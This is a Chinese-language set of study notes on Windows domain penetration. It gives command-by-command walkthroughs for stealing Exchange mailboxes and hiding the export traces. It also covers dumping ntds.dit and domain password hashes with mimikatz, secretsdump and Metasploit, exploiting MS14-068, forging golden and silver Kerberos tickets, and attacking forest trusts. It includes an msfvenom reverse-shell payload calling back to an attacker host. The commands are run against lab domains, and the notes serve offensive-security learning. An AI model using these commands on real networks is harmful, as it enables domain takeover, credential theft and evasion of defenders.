          0x25 Exchange 郵件服務器

          1、Exchange 的基本操作

          在 Exchange 服務器上的 PowerShell 里進行以下操作

          將 Exchange 管理單元添加到當前會話中

          add-pssnapin microsoft.exchange*

          查看郵件數據庫

          Get-MailboxDatabase -server "dc"

          查詢數據庫的物理路徑

          Get-MailboxDatabase -Identity 'Mailbox Database 0761701514' | Format-List Name,EdbFilePath,LogFolderPath

          獲取現有用戶的郵件地址

          Get-Mailbox | Format-table Name,WindowsEmailAddress

          查看指定用戶的郵箱使用信息

          Get-Mailboxstatistics -Identity Administrator | select Dispayname,ItemCount,TotalItemSize,TotalTimeSize,LastLogonTime

          獲取用戶郵箱中的郵件數量,通過該命令還可以列出那些用戶未登錄過郵箱

          Get-Mailbox -ResultSize Unlimited | Get-Mailboxstatistics | Sort-Object TotalItemSize -Descend

          2、導出指定的電子郵箱

          Exchange Server 2007 中需要使用 ExportMailBox 命令,在 Exchange Server 2010 SP1 及以后的版本中可以使用圖形化界面導出,也可以使用 PowerShell

          如果想要導出 PTS 格式的郵件文件,則需要為用戶配置導出/導出權限。

          配置用戶的導入導出權限

          查看用戶權限

          Get-ManagementRoleAssignment -role "Mailbox Import Export"

          將 Administrator 用戶添加到 Mailbox Import Export 角色組里,將用戶添加到角色組后,需要重啟 Exchange 服務才能執行導出操作

          New-ManagementRoleAssignment -Name "Import Export_Domain Admins" -User "Administrator" -Role "Mailbox Import Export"

          刪除剛剛添加的 Mailbox Import Export 角色組中的用戶

          Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false

          設置網絡共享文件夾

          不論使用哪種方式導出郵件,都需要將文件放置在 UNC(Universal Naming Convention,通用命名規則,也稱通用命名規范)路徑下

          類似于 “hostnamesharename”、“ipaddresssharename” 的網絡路徑下,sharename 為網絡共享名稱。

          首先開啟共享,將 C 盤 inetpub 文件夾設置為 everyone 可讀寫,執行如下命令:

          net share inetpub=c:inetpub /grant:everyone,full

          導出用戶的電子郵件

          使用 PowerShell 導出電子郵件,用戶的電子郵箱目錄一般為Inbox(收件箱)、SentItems(已發送郵件)、DeleteItems(已刪除郵件)、Drafts(草稿)等

          New-MailboxExportRequest -Mailbox administrator -FilePath \192.168.7.77inetpubadministrator.pst

          使用圖形化界面導出電子郵件,訪問 https://127.0.0.1/ecp,打開 Exchange 管理中心的登錄界面。

          輸入賬號密碼進入 Exchange 管理中心,點擊「…」更多按鈕,選擇「導出到 PST 文件」即可進行導出操作。

          管理導出請求

          不論是通過 Powershell 導出還是通過圖形化的方式導出,都會在 Exchange 中生成一條告警信息,這些信息有助于 BT 發現服務器里的異常行為,通過以下命令,可以查看之前的導出請求記錄信息。

          Get-MailboxExportRequest

          將指定用戶已經完成的導出請求刪除

          Remove-MailboxExportRequest -Identity AdministratorMailboxExport

          刪除所有已完成的導出請求

          Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

          刪除所有導出請求,包括完成和失敗的請求

          Get-MailboxExportRequest | Remove-MailboxExportRequest

          0x26 ntds.dit 的提取與散列值導出

          0、前言

          在活動目錄中,所有數據都保存在 ntds.dit 文件中,ntds.dit 是一個二進制文件,存儲位置為域控的 %SystemRoot%ntds.dit

          ntds.dit 中包含(但不限于)用戶名、散列值、組、GPP、OU 等與活動目錄相關的信息,因此如果我們拿到 ntds.dit 就能獲取到域內所有用戶的 hash

          在通常情況下,即使擁有管理員權限,也無法讀取域控中的 ntds.dit 文件(因為活動目錄始終訪問這個文件,所以文件被禁止讀取),它和 SAM 文件一樣,是被 Windows 操作系統鎖定的。

          不過使用 Windows 本地卷影拷貝服務,就可以獲得文件的副本(類似于虛擬機的快照)

          1、使用卷影拷貝服務提取 ntds.dit

          ntdsutil

          ntdsutil 是一個為活動目錄提供管理機制的命令行工具,使用 ntdsutil 可以維護和管理活動目錄數據庫、控制單個主機操作、創建應用程序目錄分區、刪除由未使用活動目錄安裝向導(DCPromo.exe)成功降級的與控制器留下的元數據等。

          該工具默認安裝在域控上,使用以下命令創建一個快照,該快照包含 Windows 中的所有文件,且在復制文件時不會受到 Windows 鎖定機制的限制。

          ntdsutil snapshot "activate instance ntds" create quit quit

          加載剛剛創建的快照

          ntdsutil snapshot "mount {ce2f5901-022f-4c21-b266-b4c14db67749}" quit quit

          使用 copy 命令將快照中的文件復制到 C 盤下

          copy C:$SNAP_202109081356_VOLUMEC$windowsNTDSntds.dit C:ntds.dit

          刪除之前加載的快照

          ntdsutil snapshot "unmount {ce2f5901-022f-4c21-b266-b4c14db67749}" "delete {ce2f5901-022f-4c21-b266-b4c14db67749}" quit quit

          查詢當前系統中的快照,可以看到沒有任何快照

          ntdsutil snapshot "List All" quit quit

          vssadmin

          vssadmin 可用于創建和刪除卷影拷貝、列出卷影的信息(只能管理系統 Provider 創建的卷影拷貝)、顯示已安裝的所有卷影拷貝寫入程序(writers)和提供程序(providers),以及改變卷影拷貝的存儲空間(即所謂的 “diff 空間”)的大小等。

          vssadmin 的使用流程和 ntdsutil 差不多,首先創建一個 C 盤的卷影拷貝

          vssadmin create shadow /for=C:

          在創建的卷影拷貝中將 ntds.dit 復制出來

          copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy12windowsNTDSntds.dit C:ntds.dit

          刪除快照

          vssadmin delete shadows /for=C: /quiet

          vssown.vbs

          vssown.vbs 腳本的功能和 vssadmin 類似,可用于創建和刪除卷影拷貝以及啟動和停止卷影拷貝服務。

          vssown.vbs 下載地址:https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs

          啟動卷影拷貝服務

          cscript vssown.vbs /start

          創建一個 C 盤的卷影拷貝

          cscript vssown.vbs /create c

          列出當前卷影拷貝

          cscript vssown.vbs /list

          復制 ntds.dit

          copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy14windowsNTDSntds.dit C:ntds.dit

          刪除卷影拷貝

          cscript vssown.vbs /delete {22B93FE6-D53A-4ECA-BD5A-7A2A68203EF8}

          IFM

          除了上面介紹的通過執行命令來提取 ntds.dit,也可以通過創建一個 IFM 的方式獲取 ntds.dit

          在使用 ntdsutil 創建媒體安裝集(IFM)時,需要進行生成快照、加載、將 ntds.dit 和計算機的 SAM 文件復制到目標文件夾中等操作,這些操作也可以通過 PowerShell 或 VMI 遠程執行。

          在域控中以管理員模式打開命令行環境,輸入命令

          ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

          此時 ntds.dit 將被保存在 C:testActive Directory 下,SYSTEN 和 SECURITY 兩個文件將被保存在 C:testregistry 文件夾下

          將 ntds.dit 拖回本地后,在目標機器上將 test 文件夾刪除

          rmdir /s/q C:test

          Copy-VSS.ps1

          nishang 工具包里的 Copy-VSS.ps1 也可以將 ntds.dit 提取出來,nishang 工具包地址:https://github.com/samratashok/nishang

          Import-Module .Copy-VSS.ps1Copy-vss或者PowerShell -exec bypass -C "Import-module .Copy-VSS.ps1;Copy-vss"

          通過該腳本,可以將 SAM、SYSTEM,ntds.dit 復制到與 ps1 腳本相同的目錄下。

          diskshadow

          diskshadow 和 vshadow 功能類似,不過 vshadow 是包含在 Windows SDK 里的,因此實際應用的時候還需要將其上傳到目標機器上。

          diskshadow 有交互模式和非交互模式,在使用交互模式時,需要在圖形化界面里操作

          首先創建一個 txt 文件,內容如下:

          set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% k:exec "C:windowssystem32cmd.exe" /c copy k:WindowsNTDSntds.dit C:ntds.ditdelete shadows alllist shadows allresetexit

          使用 diskshadow 調用剛才的文本文件

          diskshadow /s C:command.txt

          因為 system.hive 里存放著 ntds.dit 的秘鑰,所以需要轉儲 system.hive ,不然沒法查看 ntds.dit 里內容

          reg save hklmsystem c:windowstempsystem.hive

          Invoke-NinjaCopy.ps1

          PowerSploit 工具包里的 Invoke-NinjaCopy.ps1 腳本也可以提取 ntds.dit 文件,這種方法沒有調用 Volume Shadow Copy 服務,所以不會產生日志文件

          PowerSploit 工具包項目地址:https://github.com/PowerShellMafia/PowerSploit

          Import-Module .Invoke-NinjaCopy.ps1Invoke-NinjaCopy -Path "C:windowsntdsntds.dit" -LocalDestination "C:ntds.dit"

          impacket

          impacket 安裝

          git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketpython3 setup.py install

          通過 impacket 里的 secretsdump.py 腳本可以直接遠程讀取 ntds.dit 并導出哈希值

          cd ./build/scripts-3.9python3 secretsdump.py teamssix.com/administrator:1qaz@WSX@192.168.7.7 -outputfile output_ntds

          2、導出 ntds.dit 文件中的散列值

          esedbexport

          安裝 esedbexport,以 Kali 為例

          apt-get install autoconf automake autopoint libtool pkg-configwget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gztar zxvf libesedb-experimental-20210424.tar.gzcd libesedb-20210424./configuremakemake installldconfig

          導出 ntds.dit

          esedbexport -m tables ntds.dit

          安裝 ntdsxtract

          git clone https://github.com/csababarta/ntdsxtract.gitcd ntdsxtractpython setup.py buildpython setup.py install

          將 ntds.dit.export 和 SYSTEM 文件放入到 ntdsxtract 工具的文件夾中,然后導出哈希值,最后的結果將保存在 all_user.txt 里

          python2 dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhasher --pwdformat ocl --ntoufile atout --lmoufile lmout | tee all_user.txt

          如果提示 ImportError: No module named Crypto.Hash,直接 pip install pycryptodome 即可

          ntds.dit 包含域內的所有信息,可以通過分析 ntds.dit 導出域內的計算機信息以及其他信息,最后結果將保存在 all_computers.csv 文件內

          python2 dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

          impacket

          將 ntds.dit.export 和 SYSTEM 文件放入到 impacket 工具的文件夾中

          impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

          或者直接使用 python 執行 secretsdump.py 文件

          cd ./build/scripts-3.9python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

          NTDSDump.exe

          NTDSDumpEx.exe 可以進行導出哈希值的操作,下載地址:https://github.com/zcgonvh/NTDSDumpEx/releases

          NTDSDumpEx -d ntds.dit -s system -o domain.txt

          mimikatz

          mimikatz 有個 dcsync 的功能,可以利用卷影拷貝服務直接讀取 ntds.dit 文件,不過需要管理員權限。

          導出域內所有用戶的用戶名和哈希值

          lsadump::dcsync /domain:teamssix.com /all /csv

          導出域內指定用戶的用戶名和哈希值

          lsadump::dcsync /domain:teamssix.com /user:administrator

          也可以通過轉儲 lsass.exe 進行 dump 操作

          privilege::debuglsadump::lsa /inject

          如果輸出內容太多,可以使用 log 命令,這樣操作就都會被記錄到文本里了

          Invoke-DCSync.ps1

          該腳本通過 Invoke-ReflectivePEinjection 調用 mimikatz.dll 中的 dcsync 功能,并利用 dcsync 直接讀取 ntds.dit 得到域用戶密碼散列值

          Invoke-DCSync.ps1 下載地址:https://gist.github.com/monoxgas/9d238accd969550136db

          Import-Module ./Invoke-DCSync.ps1Invoke-DCSync -PWDumpFormat

          MSF

          msf 里的 psexec_ntdsgrab 可以獲取目標的 ntds.dit 和 SYSTEM 并將其保存到 /root/.msf4/loot/ 目錄下

          use auxiliary/admin/smb/psexec_ntdsgrabset rhosts 192.168.7.7set smbdomain teamssix.comset smbuser administratorset smbpass 1qaz@WSXrun

          除此之外,在獲取到會話后,也可以直接用 MSF 提供的模塊獲取 ntds.dit

          use windows/gather/credentials/domain_hashdumpset session 1run

          注意生成的 payload 需要和目標系統位數一致,不然會報錯

          DSInternals

          DSInternals 主要功能包括離線 ntds.dit 文件操作以及通過目錄復制服務(DRS)遠程協議查詢域控制器。

          DSInternals 下載地址:https://github.com/MichaelGrafnetter/DSInternals/releases

          安裝 DSInternals

          Install-Module DSInternals -Force

          直接導出 hash,并保存在 output_hash.txt 文件里

          $key = Get-Bootkey -SystemHivePath 'C:system'Get-ADDBAccount -All -DBPath 'C:ntds.dit' -Bootkey $key | Out-File output_hash.txt

          或者導出 hashcat 支持的 hash,并保存在 output_hashcat.txt 文件里

          $key = Get-Bootkey -SystemHivePath 'C:system.hive'Get-ADDBAccount -All -DBPath 'C:ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File output_hashcat.txt

          vshaow 和 QuarksPwDump

          在正常的域環境中,ntds.dit 文件里包含大量的信息,體積較大,不方便保存到本地。

          如果域控制器上沒有安裝殺毒軟件,攻擊者就能直接進入域控制器,導出 ntds.dit 并獲得域賬號和域散列值,而不需要將 ntds.dit 保存到本地。

          QuarksPwDump 可以快速、安全、全面地讀取全部域賬號和域散列值。

          QuarksPwDump 下載地址:https://github.com/tuthimi/quarkspwdump/tree/master/Release

          ShadowCopy.bat 使用微軟的卷影拷貝技術,能夠復制被鎖定的文件及被其他程序打開的文件,代碼如下

          setlocalif NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACKset SOURCE_DRIVE_LETTER=%SystemDrive%set SOURCE_RELATIVE_PATH=windowsntdsntds.ditset DESTINATION_PATH=%~dp0@echo ...Determine the scripts to be executed/generated...set CALLBACK_SCRIPT=%~dpnx0set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd@echo ...Creating the shadow copy..."%~dp0vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%del /f %TEMP_GENERATED_SCRIPT%@goto :EOF:IS_CALLBACKsetlocal@echo ...Obtaining the shadow copy device name...call %TEMP_GENERATED_SCRIPT%@echo ...Copying from the shadow copy to the destination path...copy "%SHADOW_DEVICE_1%%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%reg save hklmsystem system.hive

          vshadow.exe 是從 Windows SDK 中提取出來的,需要先安裝 Windows SDK,下載地址:https://developer.microsoft.com/en-us/windows/downloads/sdk-archive/

          Windows SDK 下載安裝完后,找到 vshadow.exe ,我這里的路徑是:

          C:Program FilesMicrosoft SDKsWindowsv7.1Binx64vsstoolsvshadow.exe

          將這三個文件放到同一個文件夾里后,運行 ShadowCopy.bat 文件,之后可以看到導出了 ntds.dit 和 system.hive 文件

          使用 esentutl 修復導出的 ntds.dit 文件

          esentutl /p /o ntds.dit

          最后通過 QuarksPwDump.exe 導出域賬號和散列值

          QuarksPwDump.exe -dhd -sf system.hive -nt ntds.dit -o log.txt

          在 log 里就能看到導出的密碼哈希了。

          0x27 Kerberos 域用戶提權漏洞

          0、前言

          在 2014 年微軟修復了 Kerberos 域用戶提權漏洞,即 MS14-068,CVE 編號為 CVE-2014-6324,該漏洞影響了 Windows Server 2012 R2 以下的服務器,該漏洞允許 RT 將任意用戶權限提升至域管級別。

          不過從漏洞年代就知道這已經是個遠古時代的漏洞,現實中已經很少會碰到了,這里就簡單記錄下,順便熟悉熟悉工具的用法。

          14-068 產生的原因主要在于用戶可以利用偽造的票據向認證服務器發起請求,如果用戶偽造域管的票據,服務端就會把擁有域管權限的服務票據返回回來。

          1、PyKEK

          PyKEK 是一個利用 Kerberos 協議進行滲透的工具包,下載地址:https://github.com/mubix/pykek

          使用 PyKEK 可以生成一個高權限的服務票據,之后通過 mimikatz 將服務票據導入到內存中。

          MS 14-068 的補丁為:KB3011780,通過 wmic 查看補丁情況

          wmic qfe get hotfixid | findstr KB3011780

          查看當前用戶 SID

          whoami /user

          或者使用 wmic

          wmic useraccount get name,sid

          生成高權限票據,-d 指定域控地址

          python2 ms14-068.py -u jack@0day.org -s S-1-5-21-1812960810-2335050734-3517558805-1133 -d 192.168.3.142 -p Aa123456

          打開 mimikatz 清除當前內存中的票據信息

          kerberos::purge

          將高權限票據注入內存

          kerberos::ptc "TGT_jack@0day.org.ccache"

          使用 net use 連接域控后,使用 psexec 獲取 Shell

          這里 net ues 使用 IP 可能會失敗,因此在此使用機器名進行連接

          2、GoldenPac

          goldenPac.py 是一個用于對 Kerberos 協議進行測試的工具,它集成在 impacket 工具包里。

          Kali 在使用之前需要先安裝 Kerberos 客戶端

          apt-get install krb5-user -y

          利用 goldenPac.py 獲取 Shell

          python3 goldenPac.py 0day.org/jack:Aa123456@OWA2010SP3.0day.org

          這里使用 IP 進行連接會連接不成功,只能使用主機名,因此可以在 hosts 文件中添加主機名對應的 IP

          goldenPac.py 是通過 PsExec 獲得 Shell 的,因此會產生大量的日志,而且現在這種連接方式也已經被各大殺軟所攔截。

          3、kekeo

          kekeo 也是一個工具集,其中包含了 ms14-068 的利用模塊,kekeo 下載地址:https://github.com/gentilkiwi/kekeo

          使用之前需要先清除票據

          klist purge

          然后直接使用 kekeo 生成高權限票據

          kekeo.exe "exploit::ms14068 /domain:0day.org /user:jack /password:Aa123456 /ptt" "exit"

          之后就可以直接 dir 域控或者 PsExec 連接到域控了

          4、MSF

          MSF 中也有 MS 14-086 的提權 EXP,不過需要結合 mimikatz 進行利用

          use auxiliary/admin/kerberos/ms14_068_kerberos_checksumset domain 0day.orgset password Aa123456set user jackset user_sid  S-1-5-21-1812960810-2335050734-3517558805-1133set rhosts OWA2010SP3.0day.orgrun

          設置好域名、域控 IP、密碼、用戶、SID 后運行,將會獲取一個 bin 文件

          由于 MSF 里不支持 bin 文件的導入,因此需要 mimikatz 對其進行格式轉換

          kerberos::clist "20210923061821_default_192.168.3.142_windows.kerberos_484249.bin" /export

          之后,生成一個木馬

          msfvenom -p windows/meterpreter/reverse_tcp lhost=172.16.214.74 lport=4444 -f exe > shell.exe

          將木馬復制到目標主機上,并使其上線到 MSF

          獲得會話后,將剛才 mimikatz 轉換后的 kirbi 文件導入到會話中

          load kiwikerberos_ticket_use /tmp/0-00000000-jack@krbtgt-0DAY.ORG.kirbibackground

          之后使用 current_user_psexec 模塊

          use exploit/windows/local/current_user_psexecset session 2set rhosts OWA2010SP3.0day.orgset payload windows/meterpreter/reverse_tcpset lhost 172.16.214.74run

          然后就會返回高權限的會話

          不過 MSF 在使用過程中報錯了,網上一查發現別人也有這個錯誤,暫時還不清楚解決的方法

          5、CS

          先利用前面的 ms14-068.py 生成一個 ccache 文件,之后使用 KrbCredExport 將 ccache 文件轉為 kirbi 格式

          KrbCredExport 下載地址:https://github.com/rvazarkar/KrbCredExport

          python2 KrbCredExport.py TGT_jack@0day.org.ccache user.ticket

          接著使用 CS 的 kerberos_ticket_use 加載 ticket,之后就能訪問到域控了

          此時想讓域控上線自然也是沒問題的了,可以先添加一個域控地址的 target,然后選擇 PsExec ,勾選上 use session’s current access token 通過 jack 的會話上線即可。

          0x28 黃金票據

          0、前言

          RT 在利用黃金票據(Golden Ticket)進行 PTP 票據傳遞時,需要先知道以下信息:

          • 偽造的域管理員用戶名
          • 完整的域名
          • 域 SID
          • krbtgt 的 NTLM Hash 或 AES-256 值

          其中 krbtgt 用戶是域自帶的用戶,被 KDC 密鑰分發中心服務所使用,屬于 Domain Admins 組。

          在域環境中,每個用戶賬號的票據都是由 krbtgt 用戶所生成的,因此如果知道了 krbtgt 用戶的 NTLM Hash 或者 AES-256 值,就可以偽造域內任意用戶的身份了。

          1、導出 krbtgt 的 NTLM Hash

          在 mimikatz 下執行以下命令

          lsadump::dcsync /domain:teamssix.com /user:krbtgt

          這里得到 krbtgt 的 NTLM Hash 為 d685b9c4fa2d318a9943ed68948af087

          該命令使用的 dcsync 功能遠程轉儲 AD 里的 ntds.dit,使用 /user 參數,可以只導出指定用戶的值。

          或者使用以下命令獲取 krbtgt 的 NTLM Hash ,域 SID 值,但該命令無法獲取 AES-256 的值

          privilege::debuglsadump::lsa /patch /user:krbtgt

          2、獲取基本信息

          獲取域 SID

          wmic useraccount get name,sid

          這里得到 administrator 的 SID 為 S-1-5-21-284927032-1122706408-2778656994-500,即表示當前域的 SID 就是 S-1-5-21-284927032-1122706408-2778656994

          獲取當前用戶的 SID

          whoami /user

          查詢域管理員賬號

          net group "domain admins" /domain

          查詢域名

          ipconfig /all

          3、制作黃金票據

          先將票據清空

          kerberos::purge

          生成票據

          kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /krbtgt:d685b9c4fa2d318a9943ed68948af087 /ticket:Administrator.kiribi

          傳遞票據并注入內存

          kerberos::ptt Administrator.kiribi

          4、驗證權限

          退出 mimikatz ,使用 dir 發現可以成功列出域控文件

          這里使用 PsExec 也同樣是能獲取到權限的,除了上面使用 NTLM Hash 之外,還可以使用 krbtgt 的 AES-256 值生成黃金票據

          kerberos::golden /admin:Administrator /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /aes256:3dfa1f9b5809250a7670c12d1e109f0acb9660f902da8aa3a4be55a16affbbd5 /ticket:Administrator.kiribi

          命令完成之后,也會生成一個 Administrator.kiribi 文件,之后的操作就都一樣了。

          5、MSF 下的利用

          首先上線一個普通用戶,然后加載 kiwi 模塊

          load kiwi

          生成黃金票據

          golden_ticket_create -d teamssix.com -k d685b9c4fa2d318a9943ed68948af087 -s S-1-5-21-284927032-1122706408-2778656994 -u administrator -t /root/administrator.ticket

          將黃金票據注入內存

          kerberos_ticket_use /root/administrator.ticket

          注入成功后,進入 Shell 就能查看 dc 里的文件了

          0x29 白銀票據

          0、前言

          白銀票據(Sliver Ticket) 不同于黃金票據(Golden Ticket)

          Kerberos 協議詳解:https://teamssix.com/210923-151418.html

          白銀票據不與密鑰分發中心 KDC 交互,因此沒有了 Kerberos 認證協議里的前 4 步,通過偽造的票據授予服務 TGS 生成偽造的服務票據 ST 直接與服務器 Server 進行交互。

          白銀票據與黃金票據的區別:

          1、白銀票據不經過 KDC,因此白銀票據日志相對于黃金票據會更少,同時白銀票據的日志都在目標服務器上,域控上不會有日志

          2、白銀票據利用服務賬戶的哈希值,不同于黃金票據利用 krbtgt 賬戶的哈希值,因此白銀票據更加隱蔽,但白銀票據的權限就遠不如黃金票據的權限了

          想利用白銀票據需要先知道以下信息:

          • 域名
          • 域 SID
          • 目標服務器的 FQDN 即完整的域名
          • 可利用的服務
          • 服務賬戶的 NTLM 哈希
          • 偽造的用戶名即任意用戶名

          1、偽造 CIFS 服務權限

          CIFS 服務常用于 Windows 主機之間的文件共享,首先使用 mimikatz 獲取服務賬戶的 NTLM 哈希,這里使用的 Username 為 DC$ 的 NTLM 哈希

          .mimikatz.exe log "privilege::debug" "sekurlsa::logonpasswords" exit

          得到 HASH 后,清空當前系統中的票據,防止其他票據干擾

          klist purge# 或者在 mimikatz 里清除kerberos::purge

          使用 mimikatz 生成偽造的白銀票據

          .mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:cifs /ptt" exit
          ![](https://teamssix.oss-cn-hangzhou.aliyuncs.com/202110091330529.png?x-oss-process=image/auto-orient,1/quality,q_80/watermark,bucket_teamssix,image_VGVhbXNTaXhXaW5YaW5Mb2dvLnBuZz94LW9zcy1wcm9jZXNzPWltYWdlL3Jlc2l6ZSxQXzM4,x_10,y_10)

          在偽造票據后,使用 dir 命令就能讀取到目標的共享服務了。

          2、偽造 LDAP 服務權限

          首先判斷當前權限是否可以使用 dcsync 域控進行同步

          .mimikatz.exe "lsadump::dcsync /dc:dc /domain:teamssix.com /user:krbtgt" exit

          如果返回 ERROR 說明當前權限不能進行 dcsync 操作

          接下來生成 LDAP 服務的白銀票據

          .mimikatz.exe "kerberos::golden /user:t /domain:teamssix.com /sid:S-1-5-21-284927032-1122706408-2778656994 /target:dc /rc4:ef9e49a41feaa171f642016fd4cb7e7a /service:ldap /ptt" exit

          0x30 跨域安全

          0、前言

          常見的跨域攻擊方法有以下幾種:

          i、利用常規的滲透方法,比如 Web 漏洞

          ii、利用已知散列值進行哈希傳遞或票據傳遞,因為有可能域內的密碼是通用的

          iii、利用域信任關系

          這里主要看第三種:域信任關系

          當有多個域時,不同的域之間想進行資源共享,就需要用到域信任,只有當域之間互相信任后,才能進行資源共享。

          域信任關系可分為單向信任和雙向信任。單向信任即 A 信任 B,但 B 不信任 A,雙向信任同理。在創建子域時,系統會在新的子域和父域之間自動創建雙向可傳遞信任關系。

          域信任關系又可分為內部信任和外部信任。內部信任是指在同一個林中域之間的信任關系,這種信任關系是可傳遞的;外部信任指不同林之間域的信任關系,這種信任關系要視林間信任類型來判斷是不是可傳遞。

          在 Windows 操作系統中,只有 Domain Admins 組中的用戶可以管理域信任關系;Enterprise Admins 組(僅出現在林的根域中)的成員對林中所有域擁有完全控制權限,默認情況下,該組包含林中所有域控上具有 administrators 權限的成員。

          1、獲取域信息

          這里使用工具 lg 進行域內信息的收集,lg 是一款用 C++ 編寫的用于管理本地用戶組和域本地用戶組的命令行工具,可用它來收集遠程主機用戶和組的信息。

          枚舉 teamssix 域中的用戶組

          lg.exe teamssix.

          枚舉遠程計算機的用戶組,如果提示拒絕訪問,說明沒有信任關系

          lg.exe \dc

          枚舉遠程計算機的用戶名

          lg.exe \dc -lu

          枚舉遠程系統中全部用戶的 SID

          lg.exe \dc -lu -sidsout

          枚舉遠程系統指定組中的所有成員的 SID

          lg.exe \dcadministrators -lu -sidsout

          2、利用域信任密鑰獲取目標域權限

          這里環境信息為:

          父域的域控:dc.teamssix.com

          子域的域控:subdc.sub.teamssix.com

          子域內的計算機:user4.sub.teamssix.com

          子域內的普通用戶:user4

          在子域的域控中使用 mimikatz 獲取需要的信息

          mimikatz.exe privilege::debug "lsadump::lsa /patch /user:administrator" "lsadump::trust /patch" exit

          得到當前域的 SID 、父域的 SID 和子域域管 NTLM 哈希后,在子域的普通用戶機器上利用 mimikatz 制作信任票據

          這里的 sids 是父域的 sid,sids 后的 519 表示創建的用戶屬于父域的管理員組

          mimikatz.exe "kerberos::golden /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /rc4:5bfd59b5e1f78a794f714af07eac869f /user:administrator /service:krbtgt /target:teamssix.com /ticket:subdc_administrator.kirbi" exit

          利用剛剛制作的信任票據獲取目標域中目標服務的 TGS 并保存到文件中

          asktgs subdc_administrator.kirbi cifs/dc.teamssix.com

          將獲取的 TGS 票據注入到內存中

          kirbikator lsa cifs.dc.teamssix.com.kirbi

          使用 dir 訪問目標域控

          dir \dc.teamssix.comc$

          3、利用 krbtgt 散列值獲取目標域的權限

          如果攻擊者獲取了林內任意域的 krbtgt 散列值,就可以使用 sidHistory 獲得該林的完整權限。

          首先獲取當前子域和父域的 SID 值,可以使用以下工具或命令

          wmic useraccount get caption,sidwhoami /useradfind.exe -sc u:user4 | findstr SidGet-DomainSID sub.teamssix.com  # PowerView 里的命令

          接下來獲取子域的 krbtgt 的哈希值,使用 mimikatz 即可

          mimikatz privilege::debug "lsadump::lsa /patch /user:krbtgt" sekurlsa::krbtgt exit

          在子域普通用戶權限的計算機中構造黃金票據

          mimikatz "Kerberos::golden /user:Administrator /domain:sub.teamssix.com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S-1-5-21-2230503874-1187844892-774991719-519 /krbtgt:b53a5c7c51648f033b96971e7ae4ee45 /ptt" exit

          4、利用無約束委派和 MS-RPRN 獲取信任林權限

          如果已經獲取了域林中某個域控權限,或者配置了無約束委派的任何服務器的權限,那么就可以使用 MS RPRN 的 RpcRemoteFindPrinterChangeNotification(Ex) 方法,使信任林的域控制器向已被控制的服務器發送身份認證請求,利用捕獲的票據獲取信任林內任意用戶的哈希值。

          假設這里獲取了 teamssix.com 域的域控權限,且 0day.org 與 teamssix.com 域有林信任關系

          首先在 teamssix.com 的域控上監聽身份認證請求

          rubeus.exe monitor /interval:5 /filteruser:OWA2010SP3$
          interval: 用于設置監控的時間間隔filteruser: 用于指定需要關注的主機,這里的 OWA2010SP3 是 0day.org 域控的主機名

          開啟監聽后,使用 SpoolSample 工具讓 OWA2010SP3.0day.org 向 dc.teamssix.com 發送身份認證請求

          SpoolSample.exe OWA2010SP3.0day.org dc.teamssix.com

          獲得票據后,使用 rubeus 將票據注入內存

          rubeus.exe ptt /ticket:<TGT 票據>

          使用 mimikatz 獲取目標的 krbtgt 散列值

          mimikatz.exe "lsadump::dcsync /domain:0day.org /user:0daykrbtgt" exit

          接下來,構造黃金票據并將其注入內存,就能夠獲得 0day.org 域控的權限了

          mimikatz "Kerberos::golden /user:Administrator /domain:0day.org /sid:5-1-5-21-1812920812-2335051732-3517558806 /rc4:b53a5c8c51648f053b96971e7ae4ee25 /ptt" exit

          0x31 后記

          自 2021年 2 月 3 日發布內網學習筆記第一節筆記開始,已經過去了大半年的時間,雖然是 2021 年 2 月 3 號發布文章,但實際上早在 2020 年的 10 月份就已經開始購入《內網安全攻防》這本書,并打算開始學習內網了,這樣算下來到今年的 10 月份,正好一年的時間,這一年來發現真的是越學越感覺自己所掌握的知識太少,而自己只不過剛剛接觸了點皮毛而已,這門藝術又是如此的迷人,吸引著自己不斷去學習、探索。

          在此感謝 MS 08067 實驗室里的徐焱、賈曉璐所編寫的《內網安全攻防》,感謝每篇筆記最后參考鏈接的作者們,感謝曾經幫助我解決所碰到問題的大佬們,正是有你們這些前人才使得我們后人有了學習的方向以及參考,謝謝你們。

          最后,還有一點要注意的就是, 內網學習筆記系列只是我個人在學習內網的過程中所做的筆記,建議不要當做教程看,因為其中我本身已經知道的知識點和感覺不重要知識點我是沒有記錄的。將自己的筆記公開發出來的目的有二:一是便于自己遺忘時隨時查找,這也是17年我建立這個公眾號的主要目的;二是在筆記中我會記錄一些坑的解決方法,如果你碰到和我一樣的問題,或許我這小菜鳥寫的筆記就能幫助到你。

          希望我的這一點學習筆記,也能幫助到想要學習內網的后人們。

